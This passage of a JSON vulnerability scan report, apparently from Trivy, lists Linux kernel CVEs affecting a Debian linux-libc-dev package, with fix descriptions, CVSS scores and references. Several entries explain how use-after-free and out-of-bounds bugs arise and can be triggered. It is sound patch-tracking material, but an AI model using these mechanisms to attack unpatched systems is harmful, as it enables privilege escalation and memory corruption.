"https://git.kernel.org/stable/c/9124e078ea2250d8d01d2162a550acb01ef5bf48", "https://git.kernel.org/stable/c/9f1e40193eef7f047e6b77cfb4b4cafdecd7a123", "https://git.kernel.org/stable/c/b17c8f5dcb36a032688847b2bce4bd813b4baad1", "https://nvd.nist.gov/vuln/detail/CVE-2026-89761", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8960-1", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-89761" ], "PublishedDate": "2026-09-11T20:20:07.243Z", "LastModifiedDate": "2026-10-30T13:20:28.5Z" }, { "VulnerabilityID": "CVE-2026-89777", "VendorIDs": [ "DSA-6528-1" ], "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "FixedVersion": "6.12.111-1", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-89777", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:52be9bee98011877548dec8282a3326fbe1fdd1d3d0690b01bcd02b4af21ad1a", "Title": "kernel: vfio/pci: clear vdev-\u003emsi_perm after freeing it on init failure", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nvfio/pci: clear vdev-\u003emsi_perm after freeing it on init failure\n\nvfio_msi_cap_len() lazily allocates the per-device MSI permission table:\n\n\tvdev-\u003emsi_perm = kmalloc_obj(struct perm_bits, GFP_KERNEL_ACCOUNT);\n\tif (!vdev-\u003emsi_perm)\n\t\treturn -ENOMEM;\n\n\tret = init_pci_cap_msi_perm(vdev-\u003emsi_perm, len, flags);\n\tif (ret) {\n\t\tkfree(vdev-\u003emsi_perm);\n\t\treturn ret;\t\t/* vdev-\u003emsi_perm left dangling */\n\t}\n\nWhen init_pci_cap_msi_perm() -\u003e alloc_perm_bits() fails with -ENOMEM, the\nerror path frees vdev-\u003emsi_perm but leaves the freed pointer stored in\nit. vdev-\u003emsi_perm is not re-zeroed later because struct\nvfio_pci_core_device is per-device and persists across open/close cycles,\nand the vfio_config_init() error path returns without calling\nvfio_config_free(). So the dangling pointer outlives the failed open.\n\nThat leads to two use-after-frees on the same device:\n\n1. Reuse. The next vfio_config_init() sees the stale pointer at\n \"if (vdev-\u003emsi_perm) return len;\" and reuses the freed object. MSI\n config accesses in vfio_pci_config_rw_single() then dereference and\n call the freed perm-\u003ereadfn / perm-\u003ewritefn function pointers.\n\n2. Double free. A later vfio_config_free() runs free_perm_bits() and\n kfree() on the already-freed object.\n\nFix it by NULLing vdev-\u003emsi_perm after the kfree(), matching the\nNULL-after-free discipline already used in free_perm_bits() and\nvfio_config_free().\n\n BUG: KASAN: slab-use-after-free in vfio_pci_config_rw_single (drivers/vfio/pci/vfio_pci_config.c:1961)\n Read of size 8 at addr ffff88800fcc88d0 by task exploit/143\n Call Trace:\n ...\n kasan_report (mm/kasan/report.c:595)\n vfio_pci_config_rw_single (drivers/vfio/pci/vfio_pci_config.c:1961)\n vfio_pci_config_rw (drivers/vfio/pci/vfio_pci_config.c:1986)\n vfio_pci_rw (drivers/vfio/pci/vfio_pci_core.c:1599)\n vfs_read (fs/read_write.c:572)\n __x64_sys_pread64 (fs/read_write.c:764)\n do_syscall_64 (arch/x86/entry/syscall_64.c:94)\n ...\n\nFollowed on device close by a double free of the same object:\n\n Oops: general protection fault, probably for non-canonical address\n 0x1f63e0e8000008: 0000 [#1] SMP KASAN NOPTI\n RIP: 0010:kfree (mm/slub.c:6711)\n Call Trace:\n vfio_config_free (drivers/vfio/pci/vfio_pci_config.c:1861)\n vfio_pci_core_disable (drivers/vfio/pci/vfio_pci_core.c:685)\n vfio_pci_core_close_device (drivers/vfio/pci/vfio_pci_core.c:777)\n vfio_df_close (drivers/vfio/vfio_main.c:602)\n vfio_device_fops_release (drivers/vfio/vfio_main.c:648)\n __fput (fs/file_table.c:512)\n __x64_sys_close (fs/open.c:1496)\n do_syscall_64 (arch/x86/entry/syscall_64.c:94)\n ...\n Kernel panic - not syncing: Fatal exception", "Severity": "HIGH", "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "bottlerocket": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89777", "https://access.redhat.com/errata/RHSA-2026:90365", "https://access.redhat.com/security/cve/CVE-2026-89777", "https://bugzilla.redhat.com/2348512", "https://bugzilla.redhat.com/2502255", "https://bugzilla.redhat.com/2502376", "https://bugzilla.redhat.com/2502382", "https://bugzilla.redhat.com/2507098", "https://bugzilla.redhat.com/2507122", "https://bugzilla.redhat.com/2516251", "https://bugzilla.redhat.com/2516417", "https://bugzilla.redhat.com/2517006", "https://bugzilla.redhat.com/2528642", "https://bugzilla.redhat.com/2532122", "https://bugzilla.redhat.com/2535066", "https://bugzilla.redhat.com/2540323", "https://bugzilla.redhat.com/2546385", "https://bugzilla.redhat.com/2546494", "https://bugzilla.redhat.com/show_bug.cgi?id=2348512", "https://bugzilla.redhat.com/show_bug.cgi?id=2502255", "https://bugzilla.redhat.com/show_bug.cgi?id=2502376", "https://bugzilla.redhat.com/show_bug.cgi?id=2502382", "https://bugzilla.redhat.com/show_bug.cgi?id=2507098", "https://bugzilla.redhat.com/show_bug.cgi?id=2507122", "https://bugzilla.redhat.com/show_bug.cgi?id=2516251", "https://bugzilla.redhat.com/show_bug.cgi?id=2516417", "https://bugzilla.redhat.com/show_bug.cgi?id=2517006", "https://bugzilla.redhat.com/show_bug.cgi?id=2528642", "https://bugzilla.redhat.com/show_bug.cgi?id=2532122", "https://bugzilla.redhat.com/show_bug.cgi?id=2535066", "https://bugzilla.redhat.com/show_bug.cgi?id=2540323", "https://bugzilla.redhat.com/show_bug.cgi?id=2546385", "https://bugzilla.redhat.com/show_bug.cgi?id=2546494", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-57974", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53388", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63978", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63979", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64266", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64523", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68476", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72242", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74515", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80824", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89638", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89777", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93262", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98222", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98320", "https://errata.almalinux.org/9/ALSA-2026-90365.html", "https://errata.rockylinux.org/RLSA-2026:90365", "https://git.kernel.org/linus/dc77acfeb979dded39b247b60fef0399536bfa77%20%287.3-rc1%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-89777.mbox", "https://git.kernel.org/stable/c/25cdd2a492d868cff1e519a60fe282909c52d385", "https://git.kernel.org/stable/c/533d0c5feef85ee6404b9f41d5564fac6971a008", "https://git.kernel.org/stable/c/812f1db7f0755a19ef16ecdc5cec51bcabc5eda5", "https://git.kernel.org/stable/c/d665a1688af7f8fefd7c0eb04f2a37122ce007f4", "https://git.kernel.org/stable/c/dc77acfeb979dded39b247b60fef0399536bfa77", "https://git.kernel.org/stable/c/eb84cd81040e58dd05ac190f561f2115e3367249", "https://git.kernel.org/stable/c/f0eea8f9013676b42289ec35941e848b8a543e19", "https://git.kernel.org/stable/c/fda8fb7e8179561693a786a7af593f6b944a21c1", "https://github.com/bottlerocket-os/bottlerocket-kernel-kit/blob/develop/advisories/9.5.0/BRSA-hnychtihtatx.toml", "https://linux.oracle.com/cve/CVE-2026-89777.html", "https://linux.oracle.com/errata/ELSA-2026-91565.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-89777", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8961-1", "https://ubuntu.com/security/notices/USN-8962-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-89777" ], "PublishedDate": "2026-09-16T09:17:08.073Z", "LastModifiedDate": "2026-10-19T09:18:20.933Z" }, { "VulnerabilityID": "CVE-2026-89811", "VendorIDs": [ "DSA-6602-1" ], "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "FixedVersion": "6.12.115-2", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-89811", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:4ec031e84a0cdae2d43ee6dec83d36bc27863ff5b1e222850b5de2f40ff0d7d0", "Title": "kernel: drm/amdkfd: Add TLB flush after MES queue eviction/suspension", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/amdkfd: Add TLB flush after MES queue eviction/suspension\n\nMES (Micro Engine Scheduler) does not perform heavy-weight TLB\ninvalidation after unmapping queues, unlike HWS which does this\nautomatically. This causes a race condition where in-flight DMA\ndescriptors can access memory that has been unmapped, leading to page\nfaults and GPU queue hangs during SVM page migration.\n\nThe issue manifests as KFDSVMRangeTest.MultiThreadMigrationTest\nfailures on gfx1151 (Strix Point) with XNACK mode 1 enabled - the GPU\ncompute queue hangs with packets submitted but never consumed.\n\nAdd kfd_flush_tlb() calls after MES queue removal in two locations:\n- evict_process_queues_cpsch(): after all queues removed during eviction\n- suspend_queues(): after debug/criu queue suspension (with mem_fence barrier)\n\nThis ensures all in-flight memory accesses from unmapped queues are\nflushed before memory is freed or migrated.\n\n(cherry picked from commit f5c4f88e0f9c45a8fb9dfac0c1df726c95e41b77)", "Severity": "HIGH", "VendorSeverity": { "alma": 3, "azure": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:81552", "https://access.redhat.com/security/cve/CVE-2026-89811", "https://bugzilla.redhat.com/2486468", "https://bugzilla.redhat.com/2502397", "https://bugzilla.redhat.com/2507153", "https://bugzilla.redhat.com/2507218", "https://bugzilla.redhat.com/2513148", "https://bugzilla.redhat.com/2513287", "https://bugzilla.redhat.com/2513430", "https://bugzilla.redhat.com/2513451", "https://bugzilla.redhat.com/2516396", "https://bugzilla.redhat.com/2528788", "https://bugzilla.redhat.com/2535265", "https://bugzilla.redhat.com/2535309", "https://bugzilla.redhat.com/2535338", "https://bugzilla.redhat.com/show_bug.cgi?id=2486468", "https://bugzilla.redhat.com/show_bug.cgi?id=2502397", "https://bugzilla.redhat.com/show_bug.cgi?id=2507153", "https://bugzilla.redhat.com/show_bug.cgi?id=2507218", "https://bugzilla.redhat.com/show_bug.cgi?id=2513148", "https://bugzilla.redhat.com/show_bug.cgi?id=2513287", "https://bugzilla.redhat.com/show_bug.cgi?id=2513430", "https://bugzilla.redhat.com/show_bug.cgi?id=2513451", "https://bugzilla.redhat.com/show_bug.cgi?id=2516396", "https://bugzilla.redhat.com/show_bug.cgi?id=2528788", "https://bugzilla.redhat.com/show_bug.cgi?id=2535265", "https://bugzilla.redhat.com/show_bug.cgi?id=2535309", "https://bugzilla.redhat.com/show_bug.cgi?id=2535338", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46309", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63925", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64507", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64508", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68123", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68236", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68245", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68278", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72318", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80887", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89811", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89894", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89970", "https://errata.almalinux.org/9/ALSA-2026-81552.html", "https://errata.rockylinux.org/RLSA-2026:81552", "https://git.kernel.org/linus/94e25cb6ab7f4f025bcdcd8ea79fda30f12843a4%20%287.3-rc2%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-89811.mbox", "https://git.kernel.org/stable/c/5bbd7f283312d0209a0fedcc9d2d33b5afa5a7b1", "https://git.kernel.org/stable/c/6aae545c87087e4dc96e205452243813bfa73ba2", "https://git.kernel.org/stable/c/750cd793ee69c27faf17fb9c49f92f71716bbc8b", "https://git.kernel.org/stable/c/94e25cb6ab7f4f025bcdcd8ea79fda30f12843a4", "https://git.kernel.org/stable/c/bbf5ad5268f36d7ebb7e99ae78fc73cffe98d372", "https://git.kernel.org/stable/c/e230c546ed93741833ab5babb0b202f9c2052b45", "https://linux.oracle.com/cve/CVE-2026-89811.html", "https://linux.oracle.com/errata/ELSA-2026-88477.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-89811", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8960-1", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-89811" ], "PublishedDate": "2026-09-16T11:16:46.267Z", "LastModifiedDate": "2026-10-30T13:20:30.04Z" }, { "VulnerabilityID": "CVE-2026-89846", "VendorIDs": [ "DSA-6528-1" ], "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "FixedVersion": "6.12.111-1", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-89846", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:8b024d242da3223f926ead0119a2a249450beb3f9b414b9f173c1916ece05197", "Title": "kernel: scsi: qla2xxx: Bound rsp_info_len to avoid OOB sense-data read", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nscsi: qla2xxx: Bound rsp_info_len to avoid OOB sense-data read\n\nIn qla2x00_status_entry(), the FWI2 status path advances sense_data and\nshrinks par_sense_len by rsp_info_len:\n\n\tif (IS_FWI2_CAPABLE(ha)) {\n\t\tsense_data += rsp_info_len;\n\t\tpar_sense_len -= rsp_info_len;\n\t}\n\nrsp_info_len is a 32-bit value taken directly from the target's FCP\nresponse (sf.rsp_data_len), while par_sense_len is the IOCB data area\nsize (28 bytes for 24xx, 60 bytes for 29xx). A hostile or buggy target\nreporting an rsp_info_len larger than par_sense_len makes the unsigned\nsubtraction underflow to a huge value and advances sense_data out of\nbounds.\n\nThe underflowed par_sense_len then defeats the cap in\nqla2x00_handle_sense():\n\n\tif (sense_len \u003e par_sense_len)\n\t\tsense_len = par_sense_len;\n\tmemcpy(cp-\u003esense_buffer, sense_data, sense_len);\n\nso the memcpy reads up to SCSI_SENSE_BUFFERSIZE bytes from the\nout-of-bounds sense_data pointer, leaking adjacent response-ring/heap\nmemory into the command's sense buffer.\n\nClamp rsp_info_len to par_sense_len before the subtraction so\npar_sense_len can never underflow and sense_data stays within the IOCB\ndata area. The fix sits before the comp_status switch, covering both\nqla2x00_handle_sense() call sites.", "Severity": "HIGH", "VendorSeverity": { "alma": 3, "azure": 3, "oracle-oval": 3, "photon": 4, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "V3Score": 7.1 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:71232", "https://access.redhat.com/security/cve/CVE-2026-89846", "https://bugzilla.redhat.com/2432674", "https://bugzilla.redhat.com/2492381", "https://bugzilla.redhat.com/2502243", "https://bugzilla.redhat.com/2502251", "https://bugzilla.redhat.com/2502498", "https://bugzilla.redhat.com/2507134", "https://bugzilla.redhat.com/2507399", "https://bugzilla.redhat.com/2510890", "https://bugzilla.redhat.com/2513481", "https://bugzilla.redhat.com/2516527", "https://bugzilla.redhat.com/2528676", "https://bugzilla.redhat.com/2532176", "https://bugzilla.redhat.com/2535391", "https://bugzilla.redhat.com/show_bug.cgi?id=2432674", "https://bugzilla.redhat.com/show_bug.cgi?id=2492381", "https://bugzilla.redhat.com/show_bug.cgi?id=2502243", "https://bugzilla.redhat.com/show_bug.cgi?id=2502251", "https://bugzilla.redhat.com/show_bug.cgi?id=2502498", "https://bugzilla.redhat.com/show_bug.cgi?id=2507134", "https://bugzilla.redhat.com/show_bug.cgi?id=2507399", "https://bugzilla.redhat.com/show_bug.cgi?id=2510890", "https://bugzilla.redhat.com/show_bug.cgi?id=2513481", "https://bugzilla.redhat.com/show_bug.cgi?id=2516527", "https://bugzilla.redhat.com/show_bug.cgi?id=2517043", "https://bugzilla.redhat.com/show_bug.cgi?id=2528676", "https://bugzilla.redhat.com/show_bug.cgi?id=2532176", "https://bugzilla.redhat.com/show_bug.cgi?id=2535391", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23007", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53005", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63802", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63831", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64053", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64383", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64534", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64564", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68201", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72261", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74469", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80844", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-81000", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89846", "https://errata.almalinux.org/9/ALSA-2026-71232.html", "https://errata.rockylinux.org/RLSA-2026:71232", "https://git.kernel.org/linus/ca6d880d6c70cb7946e7b3e05d7285f271b6d99e%20%287.3-rc1%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-89846.mbox", "https://git.kernel.org/stable/c/125b12861c726e58448bb95d55b04851fb131d1f", "https://git.kernel.org/stable/c/6b08c0cb110a1fba92f99d655020198489699815", "https://git.kernel.org/stable/c/be75ab791c9b3baca66c70ce03443afebc83acda", "https://git.kernel.org/stable/c/ca6d880d6c70cb7946e7b3e05d7285f271b6d99e", "https://git.kernel.org/stable/c/d7f7746ff031ae45724881261804f4bf5317c985", "https://git.kernel.org/stable/c/e57ace988bda5693f7b3645f652ea4b4220870ee", "https://git.kernel.org/stable/c/ebc41dfc59d190956e0113e8bd90c28f6f21e8b9", "https://git.kernel.org/stable/c/f6e8977bce887481b2b2b0e2e14a791270741cfb", "https://linux.oracle.com/cve/CVE-2026-89846.html", "https://linux.oracle.com/errata/ELSA-2026-71233.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-89846", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8961-1", "https://ubuntu.com/security/notices/USN-8962-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-89846" ], "PublishedDate": "2026-09-16T11:16:51.853Z", "LastModifiedDate": "2026-10-19T09:18:28.607Z" }, { "VulnerabilityID": "CVE-2026-89894", "VendorIDs": [ "DSA-6528-1" ], "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "FixedVersion": "6.12.111-1", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-89894", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:fcc24dc39af62fea1d680f6115e0f8ae03f8d21e78aca43003a1d8b80e2fae81", "Title": "kernel: media: cx231xx: reject geometry changes while the VBI queue is busy", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nmedia: cx231xx: reject geometry changes while the VBI queue is busy\n\nvidioc_s_fmt_vid_cap() and vidioc_s_std() change the device-wide\ndev-\u003ewidth / dev-\u003enorm but only refuse the change when the *video* queue\n(dev-\u003evidq) is busy. The VBI queue (dev-\u003evbiq) shares that same geometry:\ncx231xx_init_vbi_isoc() latches dma_q-\u003elines_per_field from dev-\u003enorm,\nthe VBI videobuf2 plane is sized from dev-\u003ewidth / dev-\u003enorm in\nvbi_queue_setup() and vbi_buf_prepare(), and cx231xx_do_vbi_copy() then\nrecomputes the destination offset from the *live* dev-\u003ewidth and the\nlatched lines_per_field on every URB completion:\n\n\toffset = lines_completed * (dev-\u003ewidth \u003c\u003c 1) + ...;\n\tif (dma_q-\u003ecurrent_field == 2)\n\t\toffset += dev-\u003ewidth * 2 * dma_q-\u003elines_per_field;\n\tmemcpy(plane + offset, p_buffer, lencopy);\n\nBecause the VBI node shares video_ioctl_ops with the video node, an\napplication can size a small VBI plane (REQBUFS/QBUF with a small width,\nor with the NTSC standard), then enlarge dev-\u003ewidth (or switch dev-\u003enorm\nto PAL) through the video node while the VBI stream is running -- the\nchange is allowed because only dev-\u003evidq is checked -- and let the device\ndeliver a field-2 VBI payload. cx231xx_do_vbi_copy() now computes the\noffset with the larger geometry and memcpy()s past the end of the smaller\nplane that was already allocated, a heap out-of-bounds write whose offset\nis attacker-chosen and whose contents come from the device. The\nper-field guard in cx231xx_copy_vbi_line() does not help: it bounds the\ncopy against the latched lines_per_field, not the plane's real capacity,\nand vb2 does not re-run buf_prepare() for an already prepared buffer.\n\nRefuse the format/standard change when the VBI queue is busy as well, so\nthe geometry cannot change underneath an allocated VBI buffer.", "Severity": "HIGH", "VendorSeverity": { "alma": 3, "azure": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:81552", "https://access.redhat.com/security/cve/CVE-2026-89894", "https://bugzilla.redhat.com/2486468", "https://bugzilla.redhat.com/2502397", "https://bugzilla.redhat.com/2507153", "https://bugzilla.redhat.com/2507218", "https://bugzilla.redhat.com/2513148", "https://bugzilla.redhat.com/2513287", "https://bugzilla.redhat.com/2513430", "https://bugzilla.redhat.com/2513451", "https://bugzilla.redhat.com/2516396", "https://bugzilla.redhat.com/2528788", "https://bugzilla.redhat.com/2535265", "https://bugzilla.redhat.com/2535309", "https://bugzilla.redhat.com/2535338", "https://bugzilla.redhat.com/show_bug.cgi?id=2486468", "https://bugzilla.redhat.com/show_bug.cgi?id=2502397", "https://bugzilla.redhat.com/show_bug.cgi?id=2507153", "https://bugzilla.redhat.com/show_bug.cgi?id=2507218", "https://bugzilla.redhat.com/show_bug.cgi?id=2513148", "https://bugzilla.redhat.com/show_bug.cgi?id=2513287", "https://bugzilla.redhat.com/show_bug.cgi?id=2513430", "https://bugzilla.redhat.com/show_bug.cgi?id=2513451", "https://bugzilla.redhat.com/show_bug.cgi?id=2516396", "https://bugzilla.redhat.com/show_bug.cgi?id=2528788", "https://bugzilla.redhat.com/show_bug.cgi?id=2535265", "https://bugzilla.redhat.com/show_bug.cgi?id=2535309", "https://bugzilla.redhat.com/show_bug.cgi?id=2535338", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46309", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63925", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64507", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64508", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68123", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68236", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68245", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68278", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72318", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80887", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89811", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89894", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89970", "https://errata.almalinux.org/9/ALSA-2026-81552.html", "https://errata.rockylinux.org/RLSA-2026:81552", "https://git.kernel.org/linus/627a121c15fe05a541f44d86016294b80bada75d%20%287.3-rc1%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-89894.mbox", "https://git.kernel.org/stable/c/1d1079db8d1807e259a1d2679ed314949797aad9", "https://git.kernel.org/stable/c/54ac6df8b8d97eddc3ae97fd2045bdedc8541b6d", "https://git.kernel.org/stable/c/627a121c15fe05a541f44d86016294b80bada75d", "https://git.kernel.org/stable/c/7087bef6510c7df5df0b19192633b8ecc0f33a6f", "https://git.kernel.org/stable/c/90d50648af36a1fbf5dbc99238de6fd0e58a13e0", "https://git.kernel.org/stable/c/a5dd3d7fba358ff9486f3f51b2a9038348c0970a", "https://git.kernel.org/stable/c/a636c72c7f522d984fa498fc0631f33a2d0be3fd", "https://git.kernel.org/stable/c/aa3314506deb9703bcf0e889db08959440228fbf", "https://linux.oracle.com/cve/CVE-2026-89894.html", "https://linux.oracle.com/errata/ELSA-2026-83207.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-89894", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8961-1", "https://ubuntu.com/security/notices/USN-8962-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-89894" ], "PublishedDate": "2026-09-16T11:16:58.127Z", "LastModifiedDate": "2026-10-19T09:18:34.557Z" }, { "VulnerabilityID": "CVE-2026-89932", "VendorIDs": [ "DSA-6528-1" ], "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "FixedVersion": "6.12.111-1", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-89932", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:e0c7a1c5ae7c018ac5325397eb6a6be00526f614bae558f112559aae69f5a4a6", "Title": "kernel: KVM: nVMX: Always flush vpid02 on first use", "Description": "In the Linux 